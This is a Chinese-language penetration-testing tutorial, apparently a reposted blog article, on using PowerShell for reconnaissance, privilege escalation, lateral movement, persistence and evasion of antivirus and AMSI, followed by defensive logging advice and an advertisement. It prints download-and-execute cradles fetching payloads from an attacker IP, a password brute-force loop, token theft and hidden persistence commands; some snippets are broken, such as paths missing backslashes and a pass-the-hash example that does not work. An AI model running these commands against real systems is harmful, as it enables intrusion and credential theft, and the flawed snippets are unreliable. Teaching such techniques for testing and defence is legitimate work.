PowerShell 指北 (宇宙超级无敌大黑客版本)

admin 2024年12月20日09:51:14评论10 views字数 16759阅读55分51秒阅读模式

PowerShell 指北 (宇宙超级无敌大黑客版本)

渗透测试中的 Powershell 基本指南 💻

一、  Powershell 简介 ❓

  1. 什么是 Powershell? 🔍
  2. 为什么在渗透测试中使用 Powershell? 🛠️
  3. Powershell 的优势和局限性 ⚖️

二、 Powershell 基础  📚

  1. 运行 Powershell 🚀
  2. 基本命令和语法 📝
    • 变量 🆎
    • 运算符 ➕➖✖️➗
    • 条件语句 🚦
    • 循环语句 🔄
    • 函数 📦
  3. 常用 Cmdlet 💡
    • 文件操作 📂
    • 进程管理 ⚙️
    • 注册表操作 🔑
    • 网络操作 🌐
  4. 管道和重定向 ➡️↪️
  5. 脚本编写和执行 📜▶️
  6. 执行策略 👮‍♀️

三、 Powershell 在信息收集中的应用 🕵️‍♀️

  1. 系统信息收集 💽
    • 操作系统版本 💻
    • 补丁信息 🩹
    • 已安装程序 💿
    • 硬件信息 🖥️
  2. 用户信息收集 👥
    • 本地用户和组 🧑‍🤝‍🧑
    • 域用户和组 🌐🧑‍🤝‍🧑
  3. 网络信息收集 🕸️
    • 网络配置 🖧️
    • 开放端口 🚪
    • 路由表 ↔️
    • ARP 表 🤝
  4. 服务信息收集 🛎️
    • 运行服务 🏃‍♂️
    • 服务配置 ⚙️
  5. 文件和目录枚举 📂🔍
  6. 使用 WMI 进行信息收集 🗃️

四、 Powershell 在权限提升中的应用 ⬆️

  1. 利用漏洞提权 🕳️
  2. 绕过 UAC 🛡️
  3. 令牌窃取 🥷
  4. 利用 AlwaysInstallElevated 🔝
  5. 利用计划任务 ⏰
  6. 口令爆破 🔐💥

五、 Powershell 在内网横向移动中的应用 ➡️➡️

  1. 凭据传递 🎫
    • Pass-the-Hash 🎟️
    • Pass-the-Ticket 🎫
  2. 远程命令执行 💻➡️💻
    • Invoke-Command 🚀
    • Enter-PSSession 🤝
    • WMI 远程执行 🗃️➡️💻
  3. 文件共享访问 📂➡️💻
  4. 利用 DCOM 📡

六、 Powershell 在持久化中的应用 📌

  1. 注册表自启动 🔑
  2. WMI 事件订阅 🗃️🔔
  3. 计划任务 ⏰
  4. 服务创建 ➕🛎️
  5. 利用 PowerShell 配置文件 ⚙️

七、 Powershell 攻击框架 🧰

  1. PowerSploit 😈
  2. Empire 💣
  3. Nishang ⚔️

八、 Powershell 混淆和绕过 🎭

  1. 代码混淆 🔀
  2. 绕过反病毒软件 🛡️❌
  3. 绕过 AppLocker 🔒❌
  4. 绕过 AMSI 🚨❌

九、 Powershell 防御和检测 🛡️

  1. 日志记录 📝
  2. 限制执行策略 👮‍♀️
  3. 使用 AMSI 🚨
  4. 应用程序白名单 📃
  5. 脚本块日志记录 📜📝

十、 总结 ✍️

渗透测试中的 Powershell 基本指南 💻

一、 Powershell 简介 ❓

Powershell 是一款强大的命令行 shell 和脚本语言,已经深入集成到 Windows 操作系统中。它为系统管理员和渗透测试人员提供了广泛的功能,可以用于自动化任务、管理系统和执行复杂的渗透测试操作。

  1. 什么是 Powershell? 🔍PowerShell 是一种跨平台的任务自动化和配置管理框架,由一个命令行 shell 和相关脚本语言组成。它基于 .NET 框架构建,可以访问 .NET 类的强大功能。PowerShell 可以用于管理本地或远程计算机,并且可以与各种技术(如 WMI、COM 和 CIM)进行交互。

  2. 为什么在渗透测试中使用 Powershell? 🛠️在渗透测试中,PowerShell 成为一个极其有用的工具,原因如下:

    • 原生支持: PowerShell 是 Windows 操作系统的默认组件,无需额外安装。
    • 强大的功能: PowerShell 提供了对操作系统底层功能的大量访问权限,包括网络、文件系统、注册表和进程管理。
    • 脚本能力: PowerShell 是一种功能齐全的脚本语言,可以编写复杂的脚本来自动化渗透测试任务。
    • 绕过限制: 在某些情况下,PowerShell 可以绕过传统的安全措施,例如应用程序白名单和反病毒软件。
    • 隐蔽性: 由于其在 Windows 系统中的普遍存在,PowerShell 活动通常不容易被检测到。
    • 丰富的社区和资源: 存在大量的 PowerShell 脚本和模块可供渗透测试人员使用,包括知名的攻击框架,如 PowerSploit 和 Empire。
  3. Powershell 的优势和局限性 ⚖️优势:

    • 功能强大: 提供对操作系统底层功能的广泛访问。
    • 灵活性: 可以通过脚本自动化复杂的任务。
    • 原生支持: 预装在 Windows 操作系统中。
    • 隐蔽性: 活动通常与合法系统管理活动难以区分。局限性:
    • 依赖于 .NET Framework: 需要安装 .NET Framework 才能运行。
    • 可能被检测: 高级安全解决方案可以检测和阻止恶意的 PowerShell 活动。
    • 学习曲线: 对于初学者来说,PowerShell 的语法和概念可能需要一些时间来学习。

二、 Powershell 基础 📚

本节介绍 PowerShell 的基础知识,包括如何运行 PowerShell、基本命令和语法,以及常用的 Cmdlet。

  1. 运行 Powershell 🚀可以通过以下几种方式运行 PowerShell:

    • 开始菜单: 在开始菜单中搜索 "PowerShell" 并选择相应的应用程序。
    • 运行对话框: 按下 Win + R 键,输入 "powershell",然后按 Enter 键。
    • 命令行: 在命令提示符中输入 "powershell" 并按 Enter 键。
    • ISE: Windows PowerShell 集成脚本环境 (ISE) 提供了一个图形界面,用于编写、运行和调试 PowerShell 脚本,在开始菜单搜索即可。
  2. 基本命令和语法 📝PowerShell 使用一种称为 Cmdlet 的命令,Cmdlet 的命名遵循“动词-名词”的格式。例如,Get-Process 用于获取进程信息,Set-Location 用于更改当前位置。

    • 变量 🆎PowerShell 中的变量以$ 符号开头,例如:$name = "John"。可以使用Write-Host 或Write-Output 来显示变量的内容。

      $name = "John" Write-Host "My name is $name"
    • 运算符 ➕➖✖️➗PowerShell 支持常见的算术运算符(+-*/%)、比较运算符(-eq-ne-gt-lt-ge-le)和逻辑运算符(-and-or-not)。

      $a = 10 $b = 5 $sum = $a + $b # 算数运算 $isEqual = $a -eq $b # 比较运算 $result = ($a -gt 5) -and ($b -lt 10) # 逻辑运算
    • 条件语句 🚦PowerShell 支持ifelseif 和else 语句。

      $age = 20 if ($age -lt 18) { Write-Host "Underage" } elseif ($age -ge 18 -and $age -lt 65) { Write-Host "Adult" } else { Write-Host "Senior" }
    • 循环语句 🔄PowerShell 支持forforeachwhile 和do-while 循环。

      # For 循环 for ($i = 0; $i -lt 5; $i++) { Write-Host "Iteration: $i" } # Foreach 循环 $colors = "red", "green", "blue" foreach ($color in $colors) { Write-Host "Color: $color" }
    • 函数 📦PowerShell 可以定义和使用函数。

      function Get-Greeting { param( [string]$name ) Write-Host "Hello, $name!" } Get-Greeting -name "Alice"
  1. 常用 Cmdlet 💡以下是一些常用的 Cmdlet:

    • Test-Connection:测试网络连接 (ping)。
    • Get-NetIPAddress:获取 IP 地址信息。
    • Get-NetRoute:获取路由表。
    • Resolve-DnsName:解析 DNS 名称。
    • Get-ItemProperty:获取注册表项的属性值。
    • Set-ItemProperty:设置注册表项的属性值。
    • New-Item:创建注册表项。
    • Remove-Item:删除注册表项。
    • Get-Process:获取进程列表。
    • Start-Process:启动进程。
    • Stop-Process:停止进程。
    • Get-ChildItem:获取文件和目录列表。
    • New-Item:创建文件或目录。
    • Remove-Item:删除文件或目录。
    • Copy-Item:复制文件或目录。
    • Move-Item:移动文件或目录。
    • Get-Content:获取文件内容。
    • Set-Content:设置文件内容。
    • 文件操作 📂
    • 进程管理 ⚙️
    • 注册表操作 🔑
    • 网络操作 🌐
  2. 管道和重定向 ➡️↪️PowerShell 的管道(|)可以将一个 Cmdlet 的输出作为另一个 Cmdlet 的输入。重定向运算符(>>>)可以将 Cmdlet 的输出保存到文件中。

    Get-Process | Where-Object {$_.WorkingSet -gt 100MB} | Sort-Object WorkingSet -Descending Get-ChildItem C: | Out-File -FilePath output.txt

  1. 脚本编写和执行 📜▶️PowerShell 脚本是以.ps1 为扩展名的文本文件。可以使用任何文本编辑器编写 PowerShell 脚本。要执行脚本,可以使用& 运算符,后面跟脚本的路径。

    # 简单的脚本示例 (my_script.ps1) Write-Host "Hello from PowerShell script!" Get-Process | Select-Object -First 5 # 执行脚本 & ".my_script.ps1"

  1. 执行策略 👮‍♀️PowerShell 的执行策略控制了哪些脚本可以运行。可以使用Get-ExecutionPolicy 查看当前的执行策略,使用Set-ExecutionPolicy 设置执行策略。常见的执行策略包括:

    Get-ExecutionPolicy Set-ExecutionPolicy RemoteSigned

    • Restricted: 不允许运行任何脚本。
    • AllSigned: 只允许运行经过签名的脚本。
    • RemoteSigned: 允许运行本地创建的脚本和经过签名的远程脚本。
    • Unrestricted: 允许运行所有脚本(有风险)。
    • Bypass: 绕过执行策略,不加载配置文件,不显示警告或提示。

三、 Powershell 在信息收集中的应用 🕵️‍♀️

信息收集是渗透测试的第一步,也是至关重要的一步。PowerShell 提供了许多 Cmdlet 和技术来收集目标系统的信息。

  1. 系统信息收集 💽可以使用以下 Cmdlet 收集系统信息:
    • 操作系统版本 💻

      Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsBuildNumber [System.Environment]::OSVersion
    • 补丁信息 🩹

      Get-HotFix
    • 已安装程序 💿

      Get-WmiObject -Class Win32_Product | Select-Object Name, Version, InstallDate Get-ItemProperty HKLM:SoftwareMicrosoftWindowsCurrentVersionUninstall* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate
    • 硬件信息 🖥️

      Get-ComputerInfo | Select-Object CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory Get-WmiObject -Class Win32_BIOS
  1. 用户信息收集 👥可以使用以下 Cmdlet 收集用户信息:
    • 本地用户和组 🧑‍🤝‍🧑

      Get-LocalUser Get-LocalGroup Get-LocalGroupMember -Group "Administrators"
    • 域用户和组 🌐🧑‍🤝‍🧑如果目标是域环境,需要先导入 Active Directory 模块 (Import-Module ActiveDirectory)。

      Get-ADUser -Filter * -Properties * Get-ADGroup -Filter * Get-ADGroupMember -Identity "Domain Admins"
  1. 网络信息收集 🕸️可以使用以下 Cmdlet 收集网络信息:
    • 网络配置 🖧️

      Get-NetAdapter Get-NetIPAddress Get-NetIPConfiguration
    • 开放端口 🚪

      Test-NetConnection -ComputerName "192.168.1.1" -Port 80 Get-NetTCPConnection -State Established
    • 路由表 ↔️

      Get-NetRoute
    • ARP 表 🤝

      Get-NetNeighbor
  1. 服务信息收集 🛎️可以使用以下 Cmdlet 收集服务信息:
    • 运行服务 🏃‍♂️

      Get-Service | Where-Object {$_.Status -eq "Running"}
    • 服务配置 ⚙️

      Get-Service | Select-Object Name, DisplayName, Status, StartType Get-WmiObject -Class Win32_Service | Select-Object Name, DisplayName, State, StartMode, PathName
  1. 文件和目录枚举 📂🔍可以使用Get-ChildItem Cmdlet 枚举文件和目录,并结合各种参数进行过滤和搜索。

    Get-ChildItem -Path C: -Recurse -Force -ErrorAction SilentlyContinue Get-ChildItem -Path C:Users -Recurse -Include *.txt -ErrorAction SilentlyContinue

  1. 使用 WMI 进行信息收集 🗃️Windows Management Instrumentation (WMI) 是一个强大的管理工具,可以使用 PowerShell 的Get-WmiObject Cmdlet 来查询 WMI 类并获取系统信息。

    Get-WmiObject -Class Win32_OperatingSystem Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "IPEnabled = 'True'" Get-WmiObject -Class Win32_LogicalDisk -Filter "DriveType = '3'"

四、 Powershell 在权限提升中的应用 ⬆️

权限提升是渗透测试中的一个关键步骤,目标是获取更高权限的账户,例如管理员或 SYSTEM 权限。PowerShell 可以利用多种技术来实现权限提升。

  1. 利用漏洞提权 🕳️如果目标系统存在已知的漏洞,可以使用 PowerShell 脚本来利用这些漏洞并提升权限。例如,可以使用 Metasploit 生成的 PowerShell 载荷来利用漏洞。需要将payload加载到内存中执行,常见的方法有:IEX (Invoke-Expression), Invoke-Command等。

    $webClient = New-Object System.Net.WebClient $url = "http://<攻击机IP>/exploit.ps1" # 攻击机开启web服务将payload托管 $script = $webClient.DownloadString($url) Invoke-Expression $script

  1. 绕过 UAC 🛡️用户帐户控制 (UAC) 是 Windows 的一项安全功能,它可以防止未经授权的更改。可以使用 PowerShell 脚本来绕过 UAC,例如利用某些自动提升权限的 COM 对象或利用已知的 UAC 绕过漏洞。

  2. 令牌窃取 🥷如果当前用户具有SeImpersonatePrivilege 或SeAssignPrimaryTokenPrivilege 权限,可以使用 PowerShell 脚本窃取其他用户的令牌并模拟该用户。可以使用Invoke-TokenManipulation 函数(来自 PowerSploit 的Privesc 模块)来实现令牌窃取。

    Import-Module .PowerSploit.psm1 # 导入 PowerSploit 模块 Invoke-TokenManipulation -ImpersonateUser -Username "domainuser" -ProcessId <PID>

  1. 利用 AlwaysInstallElevated 🔝AlwaysInstallElevated 是 Windows 的一项功能,允许以 SYSTEM 权限安装 MSI 文件。如果启用了 AlwaysInstallElevated,可以使用 PowerShell 创建恶意的 MSI 文件并安装它以获取 SYSTEM 权限。注册表中以下两个键值都设置为1 时,AlwaysInstallElevated 才生效:

    HKCUSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated
    HKLMSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated

  1. 利用计划任务 ⏰如果当前用户有权限创建计划任务,可以使用 PowerShell 创建一个以 SYSTEM 权限运行的计划任务,从而获取 SYSTEM 权限。

    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Command "Your-Command"" $trigger = New-ScheduledTaskTrigger -AtStartup $principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITYSYSTEM" -LogonType ServiceAccount $settings = New-ScheduledTaskSettingsSet $task = New-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -Settings $settings Register-ScheduledTask -TaskName "MyTask" -InputObject $task

  1. 口令爆破 🔐💥可以使用 PowerShell 脚本对本地用户或域用户进行口令爆破。可以使用net user 命令来测试本地用户的口令,或者使用Invoke-Command 或Enter-PSSession 来测试远程用户的口令。但这种方式容易产生大量日志,动静较大。

    # 针对本地管理员账户爆破 $passwordList = Get-Content ".passwords.txt" foreach ($password in $passwordList) { $result = net user administrator $password if ($result -match "命令成功完成") { Write-Host "Password found: $password" break } }

五、 Powershell 在内网横向移动中的应用 ➡️➡️

在获取了内网中一台机器的权限后,通常需要进行横向移动,以获取更多机器的权限。PowerShell 提供了多种方法来实现内网横向移动。

  1. 凭据传递 🎫如果获取了用户的密码哈希或票据,可以使用 PowerShell 将凭据传递到其他机器并进行身份验证。
    • Pass-the-Hash 🎟️可以使用 Invoke-Command 或 Enter-PSSession 结合 -Credential 参数并指定哈希值来进行 Pass-the-Hash 攻击。也可以使用 Invoke-WmiMethod 来进行。

      # 使用 Invoke-Command 进行 Pass-the-Hash $hash = "aad3b435b51404eeaad3b435b51404ee:5de2e9927d9998779d96d3c8d999d999" # NTLM 哈希 $credential = New-Object System.Management.Automation.PSCredential("username", (ConvertTo-SecureString $hash -AsPlainText -Force)) Invoke-Command -ComputerName "target-computer" -ScriptBlock { whoami } -Credential $credential # 使用 Invoke-WmiMethod 进行 Pass-the-Hash Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://<攻击机IP>/payload.ps1')"" -ComputerName "target-computer" -Credential $credential
    • Pass-the-Ticket 🎫可以使用 Invoke-KerberosTicketCmdlet 函数(来自 PowerSploit 的Privesc 模块)来导入 Kerberos 票据并进行 Pass-the-Ticket 攻击。使用mimikatz导出用户的票据,利用票据进行横向。

      # 导入票据 Invoke-KerberosTicketCmdlet -TicketBase64 "base64-encoded-ticket" # 列出票证缓存 klist # 验证票据是否有效 Invoke-Command -ComputerName "target-computer" -ScriptBlock { whoami }
  1. 远程命令执行 💻➡️💻PowerShell 提供了多种方法来在远程计算机上执行命令。
    • Invoke-Command 🚀可以使用Invoke-Command Cmdlet 在远程计算机上执行命令或脚本。

      Invoke-Command -ComputerName "target-computer" -ScriptBlock { Get-Process } -Credential "domainusername" Invoke-Command -ComputerName "target-computer" -FilePath ".script.ps1" -Credential "domainusername"
    • Enter-PSSession 🤝可以使用Enter-PSSession Cmdlet 建立与远程计算机的交互式 PowerShell 会话。

      Enter-PSSession -ComputerName "target-computer" -Credential "domainusername"
    • WMI 远程执行 🗃️➡️💻可以使用Invoke-WmiMethod Cmdlet 通过 WMI 在远程计算机上执行命令。

      Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c ipconfig > C:output.txt" -ComputerName "target-computer" -Credential "domainusername"
  1. 文件共享访问 📂➡️💻如果目标计算机启用了文件共享,可以使用 PowerShell 访问共享文件和目录。

    Get-ChildItem \target-computerC$ Copy-Item -Path ".payload.exe" -Destination \target-computerC$payload.exe

  1. 利用 DCOM 📡分布式组件对象模型 (DCOM) 是一种允许在网络上远程调用 COM 对象的协议。可以使用 PowerShell 通过 DCOM 在远程计算机上执行命令。

    # 使用 Excel.Application DCOM 对象在远程计算机上执行命令 $com = [System.Activator]::CreateInstance([System.Type]::GetTypeFromProgID("Excel.Application", "target-computer")) $com.Visible = $false $com.Workbooks.Add() $com.Cells.Item(1,1).Value2 = "Command Output:" $com.Cells.Item(2,1).Value2 = (Invoke-Command -ScriptBlock { whoami } -ComputerName "target-computer") $com.ActiveWorkbook.SaveAs("C:output.xlsx") $com.Quit()

六、 Powershell 在持久化中的应用 📌

持久化是指在目标系统上维持访问权限,即使系统重启或用户注销。PowerShell 提供了多种方法来实现持久化。

  1. 注册表自启动 🔑可以将 PowerShell 脚本添加到注册表的自启动项中,以便在系统启动或用户登录时自动运行。

    # 将 PowerShell 脚本添加到 HKCUSoftwareMicrosoftWindowsCurrentVersionRun Set-ItemProperty -Path "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun" -Name "MyScript" -Value "powershell.exe -WindowStyle hidden -File C:script.ps1"

  1. WMI 事件订阅 🗃️🔔可以使用 PowerShell 创建 WMI 事件订阅,以便在特定事件发生时触发 PowerShell 脚本。例如,可以在用户登录时触发脚本。

    # 创建 WMI 事件订阅,在用户登录时触发脚本 $filter = New-WmiEventFilter -Query "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2" -Name "MyEventFilter" -Namespace "rootsubscription" -EventNameSpace "rootcimv2" $action = New-WmiObject -Class __CommandLineEventConsumer -Namespace "rootsubscription" -Property @{ Name = "MyEventConsumer"; CommandLineTemplate = "powershell.exe -WindowStyle hidden -File C:script.ps1"; } New-WmiObject -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Property @{ Filter = $filter; Consumer = $action; }

  1. 计划任务 ⏰可以使用 PowerShell 创建计划任务,以便在特定时间或特定事件发生时运行 PowerShell 脚本。

    # 创建计划任务,在系统启动时运行 PowerShell 脚本 $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle hidden -File C:script.ps1" $trigger = New-ScheduledTaskTrigger -AtStartup $principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITYSYSTEM" -LogonType ServiceAccount $settings = New-ScheduledTaskSettingsSet $task = New-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -Settings $settings Register-ScheduledTask -TaskName "MyTask" -InputObject $task

  1. 服务创建 ➕🛎️可以将 PowerShell 脚本配置为服务,以便在系统启动时自动运行。

    # 使用 nssm 将 PowerShell 脚本注册为服务 (需要下载 nssm 工具) nssm install MyService "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" "-WindowStyle hidden -File C:script.ps1" nssm set MyService DisplayName "My Service" nssm set MyService Description "This is my PowerShell service" nssm start MyService

  1. 利用 PowerShell 配置文件 ⚙️PowerShell 配置文件是在 PowerShell 启动时自动运行的脚本。可以将恶意代码添加到用户的 PowerShell 配置文件中,以便在用户每次启动 PowerShell 时自动运行。PowerShell 的配置文件有多个,分别作用于不同的范围,可以使用$PROFILE 变量查看当前用户的配置文件路径。

    # 将代码添加到当前用户的 PowerShell 配置文件 "Invoke-Expression -Command "Your-Command"" | Out-File -Append -FilePath $PROFILE

七、 Powershell 攻击框架 🧰

已经有许多基于 PowerShell 的攻击框架被开发出来,这些框架提供了许多用于渗透测试的模块和功能。

  1. PowerSploit 😈PowerSploit 是一个流行的 PowerShell 攻击框架,它包含了许多用于信息收集、权限提升、代码执行、持久化等方面的模块。

    • CodeExecution: 用于在目标系统上执行代码。
    • ScriptModification: 用于修改脚本。
    • Exfiltration: 用于数据窃取。
    • Recon: 用于信息收集。
    • Privesc: 用于权限提升。
    • AntivirusBypass: 用于绕过反病毒软件。
    • Persistence: 用于持久化。
    • 项目地址:https://github.com/PowerShellMafia/PowerSploit
    • 常用模块:
  2. Empire 💣Empire 是一个后渗透测试框架,它使用 PowerShell 作为代理,并提供了许多用于内网渗透的功能。

    • 模块化设计。
    • 集成了多种攻击技术。
    • 支持多种通信协议。
    • 提供了图形界面和命令行界面。
    • 项目地址:https://github.com/BC-SECURITY/Empire
    • 主要特点:
  3. Nishang ⚔️Nishang 是另一个基于 PowerShell 的攻击框架,它包含了许多用于渗透测试的脚本和工具。

    • Gather: 用于信息收集。
    • Escalation: 用于权限提升。
    • Execution: 用于代码执行。
    • Backdoors: 用于创建后门。
    • Client: 用于客户端攻击。
    • Bypass: 用于绕过安全机制。
    • 项目地址:https://github.com/samratashok/nishang
    • 常用脚本:

八、 Powershell 混淆和绕过 🎭

为了躲避检测,可以使用多种技术对 PowerShell 代码进行混淆和绕过。

  1. 代码混淆 🔀代码混淆是指将 PowerShell 代码转换为难以阅读和理解的形式,以增加静态分析的难度。可以使用 Invoke-Obfuscation 等工具对 PowerShell 代码进行混淆。

    • 变量名替换。
    • 字符串编码。
    • 代码重排。
    • 添加无效代码。
    • Invoke-Obfuscation:https://github.com/danielbohannon/Invoke-Obfuscation
    • 常见的混淆技术:
  2. 绕过反病毒软件 🛡️❌反病毒软件通常会检测和阻止恶意的 PowerShell 脚本。可以使用一些技术来绕过反病毒软件的检测,例如:

    • 编码: 将 payload 进行编码或加密。
    • 分块: 将 payload 分成多个块,并在运行时组装。
    • 内存加载: 将 payload 直接加载到内存中执行,而不写入磁盘。
    • 使用不常见的 Cmdlet 或 API。
    • 修改已知的恶意脚本的特征码。
  3. 绕过 AppLocker 🔒❌AppLocker 是 Windows 的一项应用程序控制功能,它可以阻止未经授权的脚本和程序运行。可以使用一些技术来绕过 AppLocker 的限制,例如:

    • 使用白名单目录: 将脚本放在 AppLocker 允许的目录中。
    • 使用数字签名: 使用受信任的证书对脚本进行签名。
    • 利用已知的 AppLocker 绕过漏洞。
  4. 绕过 AMSI 🚨❌反恶意软件扫描接口 (AMSI) 是 Windows 10 及更高版本中的一项安全功能,它可以帮助反病毒软件检测恶意的 PowerShell 脚本。可以使用一些技术来绕过 AMSI 的检测,例如:

    • 内存补丁: 修改内存中的 AMSI 相关函数。
    • 使用反射加载: 将 AMSI 绕过代码注入到 PowerShell 进程中。
    • 使用不触发 AMSI 检测的混淆技术。

九、 Powershell 防御和检测 🛡️

了解如何攻击是为了更好地进行防御。可以采取多种措施来防御和检测恶意的 PowerShell 活动。

  1. 日志记录 📝启用 PowerShell 日志记录可以帮助检测恶意的 PowerShell 活动。可以记录模块日志记录、脚本块日志记录和详细日志记录。

    • 模块日志记录: 记录 PowerShell 模块的加载情况。
    • 脚本块日志记录: 记录 PowerShell 脚本块的执行情况。
    • 详细日志记录: 记录所有 PowerShell 命令的执行情况。
    • 配置组策略: 计算机配置 -> 管理模板 -> Windows 组件 -> Windows PowerShell
    • 查看日志: 事件查看器 -> 应用程序和服务日志 -> Microsoft -> Windows -> PowerShell -> Operational
  2. 限制执行策略 👮‍♀️将 PowerShell 执行策略设置为AllSigned 或RemoteSigned 可以限制未经授权的脚本运行。虽然不能完全阻止,但可以提高门槛。

    • AllSigned: 要求所有脚本和配置文件都必须由受信任的发布者签名。
    • RemoteSigned: 要求从 Internet 下载的脚本和配置文件必须由受信任的发布者签名。本地计算机上创建的脚本则不需要签名。
  3. 使用 AMSI 🚨反恶意软件扫描接口 (AMSI) 可以帮助检测恶意的 PowerShell 脚本。确保 AMSI 已启用,并且反病毒软件支持 AMSI 集成。

    • Windows 10 及更高版本默认启用 AMSI。
    • 许多主流反病毒软件都支持 AMSI 集成。
    • AMSI 可以与 PowerShell 的日志记录功能结合使用,以提供更全面的检测能力。
  4. 应用程序白名单 📃功能特点

   使用 AppLocker 等应用程序白名单工具可以阻止未经授权的 PowerShell 脚本运行。

* **AppLocker 可以根据文件路径、发布者或哈希值来创建规则。** * **建议将 AppLocker 配置为“审核”模式,以便在阻止脚本之前先进行测试。** * **AppLocker 可以与其他安全措施(如 AMSI 和 PowerShell 日志记录)结合使用。**

  1. 脚本块日志记录 📜📝启用脚本块日志记录可以记录所有 PowerShell 脚本块的执行,包括命令、脚本内容和部分输出。这有助于检测和分析恶意的 PowerShell 活动。可以使用组策略启用,路径如下:
  • 配置组策略: 计算机配置 -> 管理模板 -> Windows 组件 -> Windows PowerShell -> 打开PowerShell 脚本块日志记录
  • 同时建议启用“在脚本块调用上启用日志记录”,这样可以记录每个脚本块的开始和结束,方便分析。
  1. 监控和分析 🔎

    • 监控 PowerShell 进程的创建和活动。
    • 分析 PowerShell 日志以识别可疑的命令和脚本。
    • 使用安全信息和事件管理 (SIEM) 系统来收集和分析 PowerShell 日志。
    • 关注异常的网络连接、文件访问和注册表修改。
    • 对常见的 PowerShell 攻击技术(如混淆、编码和下载)保持警惕。
  2. 及时更新 🔄

    • 及时安装 Windows 更新和补丁,以修复已知的 PowerShell 漏洞。
    • 将 PowerShell 更新到最新版本,以获取最新的安全功能和修复程序。
  3. 最小权限原则 ❗

    • 遵循最小权限原则,只授予用户执行其工作所需的最低权限。
    • 避免使用管理员权限运行 PowerShell。
    • 对于需要执行管理任务的用户,可以使用 Just Enough Administration (JEA) 来限制其可以运行的命令和脚本。

十、 总结 ✍️

PowerShell 是一款功能强大的工具,在渗透测试中扮演着重要的角色。通过掌握 PowerShell 的基础知识和高级技术,渗透测试人员可以有效地进行信息收集、权限提升、内网横向移动和持久化等操作。然而,需要注意的是,PowerShell 也是一把双刃剑,它可以被攻击者利用,也可以被防御者用来保护系统。因此,了解 PowerShell 的攻击和防御技术对于网络安全专业人员来说至关重要。

本教程只是对 PowerShell 在渗透测试中的应用的简要介绍,还有许多更深入的技术和主题需要学习和探索。建议读者参考相关的书籍、文章和在线资源,并进行实践操作,以提高自己的 PowerShell 技能。随着攻防技术的不断发展,我们也需要不断学习和更新知识,以应对新的安全挑战。

参考资料

官方文档:

  • Microsoft PowerShell Documentation:https://docs.microsoft.com/en-us/powershell/
    • 包含了 PowerShell 的各个方面的详细文档。
  • "Black Hat PowerShell" by Alex Reid
    • 专注于PowerShell在渗透测试中的应用。

在线资源:

  • PowerSploit GitHub Repository:https://github.com/PowerShellMafia/PowerSploit
    • PowerSploit 框架的代码仓库,可以学习其中的攻击脚本和技术。
  • Empire GitHub Repository:https://github.com/BC-SECURITY/Empire
    • Empire 框架的代码仓库,了解其架构和模块。
  • Nishang GitHub Repository:https://github.com/samratashok/nishang
    • Nishang 框架的代码仓库。
  • Invoke-Obfuscation GitHub Repository:https://github.com/danielbohannon/Invoke-Obfuscation
    • 学习 PowerShell 代码混淆技术的工具。
  • ired.team Blog:https://www.ired.team/
    • 一个专注于红队技术的博客,包含大量关于 PowerShell 攻击技术的文章。
  • Hacking Articles:https://www.hackingarticles.in/
    • 包含大量关于渗透测试和网络安全的文章,其中也有不少关于 PowerShell 的内容。
  • Pentester Academy:https://www.pentesteracademy.com/
    • 提供渗透测试相关的在线课程,其中也包括 PowerShell 的课程。
  • SANS Institute:https://www.sans.org/
    • 提供网络安全培训和认证,其课程和资源中也包含 PowerShell 相关的内容。
  • SpecterOps Blog:https://posts.specterops.io/
    • 提供进阶的红队行动和防御规避技术的博客。

其他工具:

  • Mimikatz :https://github.com/gentilkiwi/mimikatz
    • 虽然不是直接的 PowerShell 工具,但 mimikatz 经常与 PowerShell 结合使用,用于凭据窃取等攻击。

需要注意的是,以上列出的资源仅供学习和研究之用,请勿将其用于非法活动。

GPT 助手推荐 - 全球 AI 模型任意使用

承诺 GPT-3.5,GPT-4o-Mini,Claude-3-Haiku 永久不限量免费

官方网站:https://www.gpt-all.chat/

功能特点

Chaos AI Assistant 的核心功能

  • 聚合热门 AI 模型,轻松切换

    • 一站式多模型支持:快速切换使用当下最热门的 AI 模型,包括ChatGPT、Claude、Gemini、Llama 等。无论是开源还是闭源模型,都可以在平台上体验,省去各平台注册的麻烦。
  • 集成多功能 AI 工具

    • AI 联网搜索:可以帮助用户实时查找并总结所需信息。

    • 多模态生成支持:用户可以通过简单的指令快速生成,对话、图像、视频、PPT、音乐等多种内容。

    • 文件处理功能:自动总结、提取信息或将文本转为视频,全面提升工作效率。

  • 友好页面与灵活选项

    • 每日福利 -- 免费使用承诺 GPT-3.5,GPT-4o-Mini,Claude-3-Haiku 永久不限量免费使用。
  • 官方网站https://www.gpt-all.chat/

原文始发于微信公众号(人遁安全):PowerShell 指北 (宇宙超级无敌大黑客版本)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月20日09:51:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PowerShell 指北 (宇宙超级无敌大黑客版本)https://cn-sec.com/archives/3531173.html
